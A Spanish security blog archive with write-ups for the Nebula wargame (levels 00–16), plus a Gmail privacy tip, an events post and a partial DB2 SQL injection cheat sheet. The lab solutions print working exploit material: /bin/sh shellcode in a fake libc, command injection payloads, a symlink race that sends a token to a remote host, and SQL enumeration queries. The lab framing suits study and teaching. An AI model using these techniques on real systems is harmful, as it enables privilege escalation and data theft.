Soluciones Nebula Niveles 15,16

Nivel 15:

Debo decir que éste nivel ha sido, para mí, el más complicado de los veinte. Identificar el problema no fue complicado, pero conseguir que la solución funcionara ha sido una pesadilla. El nivel nos sugiere que realicemos strace sobre el binario, así que nos lanzamos de cabeza a la tarea:

Abriendo libc desde extrañas ubicaciones

Como podéis ver en la imagen, se intenta abrir la librería libc desde diferentes ubicaciones, hasta finalmente encontrarla en el directorio habitual. Si os fijáis en la línea seleccionada, una de las ubicaciones es /var/tmp/flag15/libc.so.6. Dicho directorio no existe, y al estar ubicado en /var/tmp, podemos crearlo nosotros, copiar una libc falsa en él, y esperar a que el programa la abra. Cuando la víctima invoque alguna función de nuestra librería trampa, podremos tomar el control. Parece fácil, ¿verdad? Pues es un infierno.

Si se hubiera tratado de otra librería, no habría sido demasiado difícil crear una falsificación aceptable que permitiera tomar el control de las llamadas a funciones pertenecientes a dicha librería, pero al tratarse de libc, la cosa se complica. Las principales pesadillas son:

  1. Compilar algo parecido a un libc, que no estalle cuando el programa lo cargue.
  2. Ejecutar nuestros comandos en ella (no, no tendremos acceso a las funciones de libc, así que…)

Para el segundo punto, lo más sencillo que me vino a la cabeza fue reutilizar una shellcode que tenía a mano (hecha por mí) que invoca una shell. De este modo soluciono el problema de no poder llamar a ninguna función desde mi falsa libc. Podría haber embebido ASM en mi código C, pero no soy muy fan del formato ASM de gcc, así que he preferido coger la shellcode y llamarla con un puntero a función:

    char shellcode[]=
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b"
"\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68";
int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();

El primer punto me trajo de cabeza varios días. Primero traté de crear las funciones que el programa requería, funciones de inicialización de la librería, funciones de limpieza al finalizar la ejecución, y luego la función que quería suplantar. Decidí usar write(). Sin embargo, me topé con dos problemas:

  • No tenía ni idea de cómo continuar la ejecución a la función write() original (no podía usar dlsym/dlopen).
  • No conseguía inicializar la librería adecuadamente.
  • No conseguía los valores de compilación adecuados que no la hicieran explotar al ser cargada por el binario flag15.

Para solucionar los dos primeros puntos, decidí que era más sencillo utilizar la propia función de inicialización para ejecutar mi código dentro de la misma. Además, si según se cargaba libc yo ejecutaba una shell, no había necesidad de realizar la inicialización normal. El último punto seguía siendo un problema. Al final, buscando cómo compilar la propia libc, cómo derivar el flujo de ejecución de funciones dentro de libc, etc, acabé dando con éste post de Chris Meyers, en el que publica su solución al reto. Su aproximación es similar a la mía, si bien él optó por la abstracción syscall() para ejecutar su código en lugar de la shellcode. Pero los dos usábamos la misma idea de usar la inicialización de libc como trampolín, así que “tomé prestado” su Makefile. ¡Gracias Chris! Resulta que lo único que me faltaba para que funcionara correctamente era el flag -Bstatic 🙂

Ésta es mi “libc” falsa, después de cientos de versiones distintas:


int __libc_start_main(void){
char shellcode[]=
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b"
"\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68";

int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();
}

Aquí tenéis el Makefile de Chris, ligeramente modificado para adaptarlo a mi solución (añadí -z execstack, y cambié los nombres de las librerías):


all:
gcc -fPIC -c libc.c -o libc.o
gcc -z execstack -shared -Wl,-Bstatic,-soname,libc.so,--version-script,version.script -o libc.so.6 libc.o -L/usr/lib/i386-linux-gnu/ -lc -static

clean:
rm -f *.so *.o

El fichero version.script, necesario para compilar libc, para ésta “libc” basta con lo siguiente:

GLIBC_2.0 {
};

Con ésto listo, ya sólo es cuestión de compilar, copiar a /var/tmp/flag15, y ejecutar el programa del reto.

Así visto parece fácil

Nivel 16:

Éste es otro nivel que hay que resolver mediante el uso del navegador. El siguiente CGI de perl escucha en el puerto 1616.

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
$username = $_[0];
$password = $_[1];

$username =~ tr/a-z/A-Z/;    # conver to uppercase
$username =~ s/\s.*//;        # strip everything after a space

@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);

if($pw =~ $password) {
return 1;
}
}

return 0;
}

sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

No es díficil darse cuenta de la inyección de comandos en la función login(), cuando se invoca egrep con valores controlados por el usuario. Tenemos que tener en cuenta, no obstante, un par de limitaciones que hay que superar:
  1. Nuestra entrada se va a pasar a mayúsculas antes de ser ejecutada por bash
  2. No podemos usar espacios, todo lo que venga después de un espacio se va a eliminar.
  3. Hay que hacer url-encode de los caracteres propios de una URL (como el &).
  4. Si el comando egrep no termina correctamente fallará, y no se ejecutará nuestra inyección.

El tercer problema es sencillo, simplemente reemplazaremos el & por su equivalente %26. El segundo no es difícil, simplemente crearemos un script en /tmp, y así podremos poner todas las órdenes que queramos, con espacios o sin ellos.

Para la cuarta, simplemente vamos a utilizar un null byte al final de nuestra cadena a inyectar (%00), de tal forma que egrep considere que termina ahí, y no falle. La primera tiene un poco más de chicha, pero tampoco demasiada. El problema, que ya habréis notado, es que si creamos un script en /tmp/level16, y tratamos de que el programa lo ejecute, por ejemplo con una inyección así:


// comillas para terminar su comand, & para ejecutar el nuestro, y null byte para terminar egrep bien
"%26/tmp/level16%00

Veremos cómo el programa intenta ejecutar /TMP/LEVEL16, que no existe, por aquello de que Linux diferencia entre mayúsculas y minúsculas. Evidentemente podemos cambiar el nombre de nuestro script a LEVEL16, y solucionar parte del problema, pero me temo que no podemos renombrar /tmp, ni crear un nuevo directorio en /. Sin embargo, bash tiene algunas características muy útiles y que todos usamos a diario, que van a acudir a nuestro rescate: los wildcards. Es decir, que podemos usar * (asterisco) o ? (interrogación) y bash los expandirá para que encajen con el patrón solicitado. Por lo tanto, tras renombrar el script a LEVEL16, la siguiente inyección sí debería funcionar:

// comillas para terminar su comand, & para ejecutar el nuestro, y null byte para terminar egrep bien
// ???, cualquier cadena de 3 caracteres
%26/???/LEVEL16a%00

Contenido del script y verificación de que funcionó

Invocando el CGI con el payload adecuado

Más en la próxima entrada.

¡Salud!

Tagged with: , , , ,
Publicado en exploiting, hacking

Solución Nebula nivel 11

Éste nivel me pareció interesante. No es que sea difícil ver por dónde tirar, pero me lié un rato a la hora de programar la solución. Echad un vistazo al código del reto:


#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
* Return a random, non predictable file, and return the file descriptor for it.
*/

int getrand(char **path)
{
char *tmp;
int pid;
int fd;

srandom(time(NULL));

tmp = getenv("TEMP");
pid = getpid();

asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));

fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}

void process(char *buffer, int length)
{
unsigned int key;
int i;

key = length & 0xff;

for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}

system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;

if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}

if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}

length = atoi(line + strlen(CL));

if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;

fd = getrand(&path);

while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);

pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);

if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);

blue -= pink;
}

mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}

}

Parece claro que tenemos que llegar a la llamada a la función system(). Tratar de hacerlo por la rama en la que el valor de Content-Length es menor de 1024 es una pérdida de tiempo.

    if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);

Esto es debido a que el valor de retorno de la función fread() va a ser o bien 0, o bien 1, pero nunca igual a la longitud del mensaje, salvo que ésta sea 0 o 1, en cuyo caso es un mensaje inútil para nuestros propósitos.

Si lo intentamos por la otra rama (Content-Length>sizeof(buf)), es necesario exportar una variable de entorno llamada TEMP, que apunte a un directorio con permiso de escritura.

export TEMP=/tmp

De lo contrario, la llamada a getrand() devolverá un descriptor de fichero inválido, y el bucle fallará cuando invoque write() sobre él.

        fd = getrand(&path);

while(blue > 0) {
…
pink = fread(buf, 1, sizeof(buf), stdin);
...
write(fd, buf, pink);
…
blue -= pink;

Con estos pasos, deberíamos ser capaces de llegar a la función process(), donde podemos ver que se realizan una serie de modificaciones sobre el contenido del buffer antes de ejecutarlo mediante system().

La solución pasa por elegir el código que queremos ejecutar, y realizar la operación inversa a process() sobre él, de tal forma que cuando la función lo manipule, el resultado que se envía a system() sea el código que hemos escogido. Recordemos además, que ésta cadena tiene que ser mayor que 1024 caracteres, para que siga el flujo de ejecución requerido.

El siguiente código hace exactamente eso, convirtiendo el comando “;getflag >> /tmp/flag11;” en una cadena, que tras ser manipulada por la función process(), devuelva exactamente “;getflag >> /tmp/flag11;“. Hay algún problema con los primeros caracteres del buffer, así que para no perder más tiempo tratando de averiguar qué pasaba, decidí poner el comando al final del buffer.


#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(void)
{
unsigned int key;
int i;
unsigned int valid_key;
int length=2048;
char shell[] = ";getflag >> /tmp/flag11;";
char* buffer=malloc(length);
// FILL BUFFER
for (i=0;i<length;i++){
buffer[i] = 0x41;
}
memcpy(buffer+length-strlen(shell)-1,shell, strlen(shell));
buffer[length-1]=0;
// END FILL BUFFER

char* buffer2 = malloc(strlen(buffer));
memcpy(buffer2, buffer, strlen(buffer));

// ORIG ALGO, input = X
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
// END ORIG ALGO, output = Y
valid_key = key;
// REV OPER, input= Y
for(i = length-1; i >= 0; i--) {
valid_key += buffer2[i];
buffer2[i] ^= valid_key;
}
// END REV OPER, output = X

// FEED THE FLAG11 BIN
printf("Content-Length: %d\n", length);
for (i=0;i<length;i++){
printf("%c",buffer2[i]);
}
// END FEEDING
return 0;
}

Podemos ver la ejecución de la solución en la siguiente imagen. El buffer contiene “A” hasta completar los 2048 caracteres, es por eso que bash se queja de que el comando “AAAAA….AAA” no existe. No obstante, nuestro comando se ejecuta correctamente.

Ejecución de comandos 🙂

Más en la siguiente entrada.

¡Salud!

Tagged with: , , , ,
Publicado en exploiting, hacking

Cuidadín con vincular cuentas de GMail

Estoy seguro de que todos conocemos a alguien (o nosotros mismos) que tiene una cuenta de gmail para uso cotidiano, y otra para “otras cosas”, ya sea hacking, páginas de relaciones de dudosa credibilidad, etc. Y también estoy seguro de que más de uno, conocedor de las facilidades de Google para unificar cuentas, ha configurado su cuenta principal para recibir y enviar emails de la cuenta alternativa. Evidentemente, uno pensaría que si envías un email desde tu cuenta principal en nombre de la cuenta alternativa, el receptor no tiene constancia de la vinculación de ambas cuentas. Sin embargo, nada más lejos de la realidad.

Vista desde la bandeja de enviados de GMail

Desde la bandeja de entrada todo parece normal, no hay motivo para no estar tranquilo.

Vista del receptor del email

Sin embargo, cuando el correo llega a destino… ¡Ups! Así que nada, ya sabéis, no uséis este mecanismo para contactar con esas mujeres ligeras de ropa, o para notificar vulnerabilidades a terceros, para hacer spam o para mandar amenazas al tipo ese que ronda a vuestra pareja; que parece que no, pero se van a dar cuenta 😉

¡Salud!

Adrián

Tagged with: , ,
Publicado en General, seguridad

Soluciones Nebula Niveles 10,12,13,14

Seguimos con los niveles 10,12,13,14. Dejo el 11 para una entrada aparte, ya que ésta es suficientemente larga sin él.

Nivel 10:

Éste nivel es una condición de carrera clásica. La oportunidad se da porque comprueba si tenemos permisos para leer el fichero con access(), y el acceso real al fichero se hace un poco después.

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
char *file;
char *host;

if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}

file = argv[1];
host = argv[2];

if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];

printf("Connecting to %s:18211 .. ", host); fflush(stdout);

fd = socket(AF_INET, SOCK_STREAM, 0);

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);

if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}

#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE

printf("Connected!\nSending file .. "); fflush(stdout);

ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}

rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}

write(fd, buffer, rc);

printf("wrote file!\n");

} else {
printf("You don't have access to %s\n", file);
}
}

Esto significa que tenemos una pequeña oportunidad de cambiar el fichero al que tratamos de acceder entre las dos operaciones, usando enlaces simbólicos. El siguiente código en C, ejecutado el suficiente número de veces conseguirá enviar el fichero “token”. Para recibirlo, simplemente pondremos un netcat a la escucha:

#include <stdlib.h>

#include <stdio.h>

int main(int argc, char **argv){

pid_t pid;
char* args[] = {"/home/flag10/flag10","/tmp/token","192.168.56.1",NULL};
char* env[] = {NULL};
int i;

unlink("/tmp/token");
symlink("/tmp/b","/tmp/token");
pid = fork();
if (pid==0) //child
{
execve("/home/flag10/flag10", args,env);
}else if (pid<0) // error
{
printf("Failed to fork\n");
exit(1);
}else //parent
{
unlink("/tmp/token");
symlink("/home/flag10/token","/tmp/token");
}
return 0;
}

El token que se recibe es la contraseña de la cuenta flag10.

Nivel 12:

Éste nivel es especialmente fácil, demostrando que no están ordenados por dificultad ni mucho menos.


local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()

data = string.sub(data, 1, 40)

return data
end

while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)

if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end

end

client:close()
end
Se produce una concatenación insegura en la función hash() que podemos aprovechar para inyectar comandos. Simplemente, conectamos al servicio y enviamos como contraseña la cadena “whatever; getflag > /tmp/flag12” (sin las comillas).

Desconcertantemente sencillo

Nivel 13:

Yo no fui capaz de ver ninguna vulnerabilidad evidente en el siguiente código:


#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
int c;
char token[256];

if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}

// snip, sorry 🙂

printf("your token is %s\n", token);

}

Pero sí que me di cuenta de que no es necesario ejecutarlo como suid para obtener el token, así que decidí copiarlo a mi home, y usar gdb para cambiar el flujo de ejecución y obtener mi token.

Cambiando el flujo de ejecución con gdb

El token es también la contraseña de la cuenta flag13.

Nivel 14:

Éste nivel no es difícil, a pesar de que yo le tenga mucho respeto a la crypto. El binario efectúa un cifrado sobre la entrada estándar e imprime el resultado. Se nos da además un archivo con un token cifrado que tenemos que descifrar. Haciendo un par de pruebas sencillas se ve cómo funciona el cifrado.

El cifrado es sencillito

Visto, suma un número a cada caracter de la entrada basándose en su posición en la cadena, y empezando en cero. El siguiente programita en C descifra este tipo de cifrados, y el token que se nos ha proporcionado.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(void){
char* buf;
int i;
buf = malloc(1024*sizeof(char));

int fd = open("/home/flag14/token",O_RDONLY);

int numbytes = read(fd,buf,1024);
for (i=0;i<numbytes-1;i++){
printf("%c",buf[i]-i);
}
printf("\n");
close(fd);
return 0;
}

Más en la próxima.

¡Salud!

Tagged with: , , , ,
Publicado en exploiting, hacking

Soluciones Nebula Niveles 05-09

Continuamos con las soluciones a los niveles del entorno Nebula de exploit-exercises.com.

Nivel 05:

Éste nivel es sobre permisos mal asignados sobre el directorio oculto .backup.  En el interior hay un archivo .tar.gz que contiene una copia de las claves SSH del usuario level05, que permiten realizar una conexión SSH a la cuenta del usuario flag05.

Certificados ssh mal protegidos

Nivel 06:

En este nivel se nos dice que hay alguna cuenta que se ha migrado desde sistemas UNIX antiguos. Esto quiere decir que es más que probable que el password para esos usuarios no se encuentre en /etc/shadow, si no en /etc/passwd. La diferencia radica en que /etc/passwd tiene permisos de lectura universales. Además, el cifrado utilizado antiguamente era 3DES, lo que quiere decir que usando John the Ripper, deberíamos obtener la contraseña con facilidad.


level06@nebula:~$ getent passwd flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
adrian@Andromeda:~$ echo "flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh" > pwdfile.txt
adrian@Andromeda:~$ john pwdfile.txt
Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
hello            (flag06)
guesses: 1  time: 0:00:00:00 100% (2)  c/s: 1602  trying: 12345 - biteme
level06@nebula:~$ su flag06
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account

Nivel 07:

En este nivel, podemos encontrar un script CGI en perl. El script es vulnerable a inyección de comandos al utilizar el parámetro $host sin validar como argumento para la llamada a ping. Sin embargo, no basta con ejecutar el programa en la línea de comandos, ya que entonces los privilegios con los que se ejecutará serán los de nuestro usuario, y por tanto no conseguiremos el flag del nivel 7.

No obstante, tenemos también acceso al fichero de configuración del servidor thttpd, que nos indica que se encuentra a la escucha en el puerto 7007, y que tras ejecutarse como root, rebaja sus privilegios a los del usuario flag07, tal como queremos.  El único asunto es que los caracteres con significado en una URL (como el &) necesitarán enviarse en formato url-encoded (%26) para que sean interpretados correctamente.

ping y algo más

Se podría haber solucionado con otros caracteres para la ejecución de órdenes en Linux, como el punto y coma (;) o la barra vertical (|).

Nivel 08:

Éste nivel es un tanto diferente al resto. En el directorio del usuario flag08, existe un archivo de captura de tráfico de red (capture.pcap). Lo sacamos del sistema y le echamos un vistazo con Wireshark, para descubrir que hay un intento de login con un usuario y una contraseña. Se puede ver que la contraseña capturada contiene caracteres no imprimibles (0x7F), que si buscamos un poco, veremos que es la tecla DEL. Es decir, que el usuario se “equivocó” escribiendo la contraseña y eliminó algunos caracteres. Una vez obtenida la contraseña, se puede utilizar para entrar como el usuario flag08.

Captura del login con el password en claro

Nivel 09:

Éste nivel me resultó curioso y difícil de ver. En primer lugar, el wrapper en C es suid, así que la idea es conseguir una ejecución de comandos con los privilegios de la cuenta flag09. La vulnerabilidad se encuentra en el código PHP:


<?php

function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);

return $email;
}

function markup($filename, $use_me)
{
$contents = file_get_contents($filename);

$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);

return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

Después de mucho indagar, y de no ver nada obvio, me puse a mirar la documentación de las funciones que aparecen en el código. En concreto, la función preg_replace se invoca con el flag “/e” (PREG_REPLACE_EVAL). Ése “eval” suena bien, ¿verdad?. Según la documentación:

If this modifier is set, preg_replace() does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the search string. Single quotes, double quotes, backslashes (\) and NULL chars will be escaped by backslashes in substituted backreferences. Make sure that replacement constitutes a valid PHP code string, otherwise PHP will complain about a parse error at the line containing preg_replace().
Use of this modifier is discouraged, as it can easily introduce security vulnerabilites.

Otra cosa a tener en cuenta, es que el segundo argumento de la función markup ($use_me) no se está utilizando, lo cual es raro. Pero como podemos hacer referencias desde preg_replace (backreferences), podemos aprovechar la situación  creando un fichero con el contenido siguiente:

[email {${`$use_me`}}]

El formato [email X] pretende hacer que la expresión regular que utiliza el programa encaje, y por tanto el flag /e entre en juego. El juego de corchetes y dólar {${VAR}} es para hacer la referencia a la variable (backreference). Las comillas son simplemente azúcar sintáctico para “exec” en bash y PHP. Resumiendo, ese código ejecutará los contenidos de la variable $use_me, que es el segundo argumento del programa.

Corolario: nada de /e en preg_replace

Más en la próxima entrada.

¡Salud!

Tagged with: , , , ,
Publicado en exploiting, hacking

Soluciones Nebula Niveles 00-04

Durante los días de vacaciones que he tenido recientemente, encontré algunos ratos para empezar a trastear con los entornos de exploit-exercises.com. Por el momento he resuelto el primer entorno completo (Nebula) y he comenzado con el siguiente (Protostar). La verdad es que ha sido entretenido, aunque el nivel de los ejercicios de Nebula es por lo normal sencillo, ha habido dos o tres niveles que han resultado cuanto menos curiosos. En las siguientes entradas iré poniendo mis soluciones a los 20 niveles de Nebula.

Nivel 00:

Este nivel introductorio consiste en localizar un binario suid y ejecutarlo para pasar al siguiente nivel. Podríamos ponernos a husmear por los directorios a ver si vemos algo sospechoso, pero es bastante más sencillo encontrar todos los binarios suid y filtrar los resultados:

find / -type f -perm +4000 -exec ls -l {} \; > suid.list
Encontrar ficheros suid

Ese fichero /bin/…/flag00 tiene buena pinta

Simplemente ejecutamos el fichero /bin/…/flag00 (fiajos en el punto adicional) y comprobamos que hemos superado el nivel adecuadamente.

level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account

Nivel 01:

Este nivel tien una vulnerabilidad en el código, muy sencilla de ver y explotar. El código es el siguiente:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

system("/usr/bin/env echo and now what?");
}

El problema es la llamada al comando “echo” sin especificar ruta absoluta. Una solución para este nivel sería:

  1. Crear un fichero llamado “echo” (sin las comillas) en nuestro directorio home, conteniendo el código que queramos ejecutar. En este caso, el comando getflag para pasar de nivel.
  2. Añadir nuestro directorio home a la variable PATH en primer lugar, para asegurar que el programa level01 busca el binario echo en nuestro home antes que en cualquier otro lugar.

level01@nebula:~$ cat - > "echo"
#!/bin/sh
getflag
^C
level01@nebula:~$ export PATH=.:$PATH
level01@nebula:~$ chmod +x echo
level01@nebula:~$ /home/flag01/flag01
You have successfully executed getflag on a target account

Nivel 02:

El problema del siguiente código es que la variable de entorno USER no está controlada, permitiendo inyección de comandos.


#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
char *buffer;

gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

buffer = NULL;

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);

system(buffer);
}

Exportamos la variable con el comando deseado, y ejecutamos el binario.

Sí que es cool, sí

Nivel 03:

Este nivel no tiene ningún misterio, simplemente existe un directorio en /home/flag03 en el que podemos escribir. Además, hay una tarea cron que cada pocos minutos ejecuta todos los contenidos del directorio /home/flag03/writable.d/. Tan sólo necesitamos crear nuestro programa en dicho directorio.

Esto no es ni una vulnerabilidad

Nivel 04:

Éste también es muy sencillo. El código protege el acceso al fichero “token”, simplemente comprobando que el nombre de fichero que le pasamos por parámetro no contiene la cadena “token”.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;

if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}

if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}

fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}

rc = read(fd, buf, sizeof(buf));

if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}

write(1, buf, rc);
}

Sin embargo, no se controla la existencia de enlaces simbólicos hacia dicho fichero.

level04@nebula:~$ /home/flag04/flag04 token
You may not access 'token'
level04@nebula:~$ ln -s /home/flag04/token trampa
level04@nebula:~$ /home/flag04/flag04 trampa
06508b5e-8909-4f38-b630-fdb148a848a2

Más en la próxima entrada.

¡Salud!

Tagged with: , , , ,
Publicado en exploiting, hacking

Próximos eventos de interés

Durante el próximo otoño tenemos en España un par de eventos que seguro que os serán de interés.

Evento Community SANS en Madrid

En primer lugar, durante la segunda semana de Septiembre, tendrá lugar en Madrid un evento Community del SANS institute en Madrid. Durante dicho evento se impartirán dos de los magníficos cursos de SANS:

  • SEC-503: Intrussion detection in-depth
  • SEC-560: Network Penetration Testing & Ethical Hacking

Tenéis la oportunidad de asistir a dos de los cursos de SANS, en Madrid, en Español (aunque los materiales estarán en Inglés) y prepararos para obtener las certificaciones asociadas: GCIA (SEC-503) y GPEN (SEC-560). Además, los profesores serán dos enormes profesionales del sector, José Selvi (blog,twitter) e Ismael Valenzuela (blog, twitter). He de decir que yo tuve el privilegio de contar con Jose como uno de los mentores de mi SANS 560, y es un tutor excelente.

De los cursos de SANS no puedo más que decir que me parecen de las mejores opciones disponibles para aprender más sobre seguridad, debido a la calidad de su contenido y a su gran cantidad de ejercicios prácticos. No puedo más que recomendaros asistir.

Tenéis mucha más información en el blog de Jose Selvi.

No cON Name

En segundo lugar, durante los días 2 y 3 de noviembre se celebrará la 9ª edición del congreso NcN en el CosmoCaixa de Barcelona.  He asistido a estas conferencias en dos ocasiones, y no voy a poder asistir éste año. Y es una lástima, porque es una de las mejores conferencias que se celebran en nuestro país en la actualidad. Estoy seguro de que éste año se presentarán un buen número de ponencias interesantes y de que estará lleno de buena gente con ganas de aprender y pasarlo bien, como en anteriores ediciones.

Si, además, estáis interesados en enviar una ponencia, sabed que aún está abierto el CFP y que aún podéis hacerlo. Yo me esperaré a que se publiquen las presentaciones para poder echarles un vistazo.

¡Salud!

Tagged with: , , , , ,
Publicado en eventos, seguridad

DB2 SQL injection cheat sheet

Note: There is an English version of this post here.

Estoy seguro de que todos nosotros (pentesters) usamos bastante los cheat sheets sobre inyección SQL de pentestmonkey. Se han convertido en una referencia cuando se trata de realizar inyecciones SQL, y hay que decir que la mayor parte de las veces solucionan el problema. Sin embargo, los cheat sheets de DB2 son de los menos completos de la web. Quizá porque no es un motor de bases de datos muy extendido, además the ser bastante complejo. Tanto en el trabajo anterior como en este he tenido la ¿suerte? de toparme con muchos sistemas ejecutando DB2, de ahí que la información que faltaba fuera un tanto molesta.

A continuación tenéis una tabla con un cheat sheet actualizado para inyecciones SQL en DB2, basado en el de pentestmonkey. Los campos actualizados o modificados o simplemente de nueva creación, están marcados con un asterisco (*). Todas estas consultas han sido probadas en un Win32+DB2 v10.1.0, aunque he tenido la oportunidad de probar algunas en Z/OS+DB2 v9.x and v8.x y la mayoría funcionan bien. Tened en cuenta que no soy un experto en DB2, por lo que si encontráis errores, o información inexacta, o si conocéis otros trucos, sentíos libres de contactarme. Por último, he subido unos dumps de privilegios por defecto, tablas con acceso para PUBLIC y otra información interesante sobre DB2.

Versión*
select service_level from table(sysproc.env_get_inst_info()) as instanceinfo
select getvariable(‘sysibm.version’) from sysibm.sysdummy1 — (v8+)
select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo
select service_level,bld_level from sysibmadm.env_inst_info
Comentarios select blah from foo — se comenta así (doble guión)
Usuario Actual
select user from sysibm.sysdummy1
select session_user from sysibm.sysdummy1
select system_user from sysibm.sysdummy1
Listar Usuarios*
DB2 usa cuentas del SO. Las que tienen acceso a DB2 pueden obtenerse así:
select distinct(authid) from sysibmadm.privileges — necesita privilegios
select grantee from syscat.dbauth — resultados incompletos
select distinct(definer) from syscat.schemata — más exacta
select distinct(grantee) from sysibm.systabauth — igual que la anterior
Listar Hashes de Contraseñas N/A (Usuarios del SO)
Listar Privilegios
select * from syscat.tabauth — muestra los privilegios sobre tablas
select * from syscat.tabauth where grantee = current user — shows privs for current user
Listar cuentas DBA (Admin)* select distinct(grantee) from sysibm.systabauth where CONTROLAUTH=’Y’
